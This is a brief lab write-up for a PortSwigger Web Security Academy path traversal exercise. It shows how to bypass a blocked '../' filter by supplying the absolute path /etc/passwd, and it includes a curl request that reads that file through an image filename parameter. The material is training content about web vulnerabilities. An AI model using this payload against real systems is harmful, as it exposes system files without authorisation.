> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/path-traversal/path-traversal-with-absolute-bypass-when-sequences-are-blocked.md). # Path Traversal with Absolute Bypass When Sequences Are Blocked Path Traversal with Absolute Bypass When Sequences Are Blocked notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation ### File Path Traversal, Traversal Sequences Blocked with Absolute Path Bypass The application blocks the crossover sequences (`../`), but treats the filename provided as relating to a default work directory. To resolve the lab, simply recover the contents of the **/etc/passwd** file. As the crossing sequences are filtered, the mechanism can be bypassed by directly indicating an absolute path: ```bash /etc/passwd ``` Example with **curl**: {% code overflow="wrap" %} ```bash curl 'https://0ac400440477a34780513f2a000f00a1.web-security-academy.net/image?filename=/etc/passwd' ``` {% endcode %}
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